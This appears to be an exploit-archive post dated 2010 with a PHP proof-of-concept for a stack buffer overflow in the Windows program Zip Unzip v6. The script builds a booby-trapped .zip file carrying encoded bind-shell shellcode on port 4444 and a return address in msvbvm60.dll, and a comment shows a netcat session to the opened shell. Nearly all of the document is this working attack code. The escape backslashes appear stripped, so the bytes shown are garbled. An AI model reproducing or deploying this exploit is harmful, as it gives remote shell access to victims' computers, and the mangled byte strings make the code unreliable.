Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit :

Date : 2010-04-03 Author : mr_me
<?php
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit
Author: mr_me - http://net-ninja.net/
Download: http://www.microviet.com/modules/freesoftware/
Platform: Windows XP sp3
Greetz to: Corelan Security Team & fl0 fl0w
http://www.corelan.be:8800/index.php/security/corelan-team-members/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code. 
If you do, Corelan cannot be held responsible for any damages this may cause.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sorry, not universal.. any ppr from the target application uses 0x01 which 
kills our ascii buffer. ..Enjoy.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
mrme@backtrack:~$ nc -v 192.168.1.3 4444
192.168.1.3: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.3] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

G:dayzip0day>
*/

// local file header
$lf_header = "x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00".
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00";

// central directory file header
$cdf_header = "x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00".
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00".
"x24x00x00x00x00x00x00x00";

// end of central directory record
$efcdr_record = "x50x4Bx05x06x00x00x00x00x01x00x01x00".
"x12x10x00x00x02x10x00x00x00x00";

// bind shell on port 4444, edx as base reg
$______sc = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI8kWssixkDExhZXkOyoKO0OaYri".
"aY3yQYW9rqQJPV3d68efEcfPPVpXDtQQTpQRUfRhw8dpQRTsFPw2QSpV3hUb0Bw4QR0H4tqQP2QQ2d4paQctR".
"tQRqTRqsr6PqQw4SqpVpX4tRz4xsrbd0JPOpMpNRobldvbkrnPOrdPJPN1Y0OBopOroPOpO2oQRpVPK0XBnsf".
"qVp2rf4rpKVXqUstRnssBkShBn1W0ErpaZCgRapPpOpNrkwH0OdtPJg1RkpXPOpUsrRr1QTprk2n1SPNg2Bss".
"yRtPKTxQVQC0KPXG1tpV0RnraUcQRBlG9VYRnrjrfv8crpL3vpWQWp0cqPLpL0LpMPP1QvPRdRl2kpNcvPORk".
"WCSvpUg6CrqZqRcuPWSsbn0K1HboPUSvpRsqrpBkPNW8tvPKv82npPpKEd0K0HpO3eBnSqqQVP0KPNPCdpPNp".
"RrkW8RivXPNtvpFW2RncqqQSfSspLQQ2cg2rlsv2fpK2hqRcdCr7CpKpXW2aT2npPrkVX3raWRnra0MpJPK2h".
"72Cd1Z2p60Ue3zW6V0V8bpW4RppPrnrnSrDuRoPO1XPMsqrspKPM0HufpCseQXPVCzFVrcucRdP3pJf6QWbg7".
"3PGstP3PO0U1V65ro2opBRmQZrvbkpLbmRnpNRoPKpSW2aUPOBo78bmPOvUcyaX75PNrhrv3qw8rmpN3zBpW4".
"TpsupUpLPFCtRpRopOQRrmszvVSypMRiPPQUpO0MszW71ERoBoqXPMSsW52cPEQSpUSspUQSbessfTw3RebcU".
"dssTu2o2o1R2m1XrvPJ66QQCqPNvUCxp6ssp5rivXCq0Nw5RipJQVPFQZ2lPQW2v777pLswburoroQXpMpLP6".
"SrUaqQReg57EbopOaRPMpJtvCvpJPMrjBpw2cypNPG2upOBoqXpMPCwEpE5eRoRoqRPMpJP6w50Nri0DQXehq".
"YpT1WRupObo78PM2bbu3veesvReG5duPOpO1RbmQSg90J2vcwrn1YVW2hrlg9GGW7RePOpOBh0MG52uRoRo1R".
"2mW8EfpLPV0FaVpHwFaZcvcspVPMBvw9P8pEPNblpV2bqEQYseG9pRrnblSy2hw7PNRl5fCvRtw9V8qTPNsqp".
"CaRPLg3POPLqZ2ppOpDRt2mdrBpPO3tBt2nSbrc1YpMshpL1WPJpS0KpJ0KpJ0KSzczSvQTaG0P0ObcpKBhpQ".
"PORoqUF72fRtbopOCx0MpKcug7fUSt6U3qwESqQEqQuepLBfrapPqQFUbaSuSuVUaQQUbo0O1RrmQZ2v0MRj2".
"iBmaUTpf0PLPCvUpORoaX0Mrlv6roPOroBo0GFSRoro2bRmRkChcwg5PN0OSsVX0FPLsvefPOro3xpMrdRupO".
"pOSrbm3z4vPOrn60PLpB2n3rUfSs2u0OroQXPMPO0OqRRm2zA";

$___offset = 4064;
$___exploit = str_repeat("x41",39).
"x73x07x41x41".
"x76x50x47x73".						// 0x73475076 [msvbvm60.dll]
str_repeat("x61",32).
str_repeat("x5a",2).
str_repeat("x43",510).
$______sc;
$___exploit .= 
str_repeat("x43",$___offset-strlen($___exploit)).
"x2ex74x78x74";
$_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record;
file_put_contents("cst-zipunzip.zip",$_____b00m);
?>

C1

 

C2

 

C3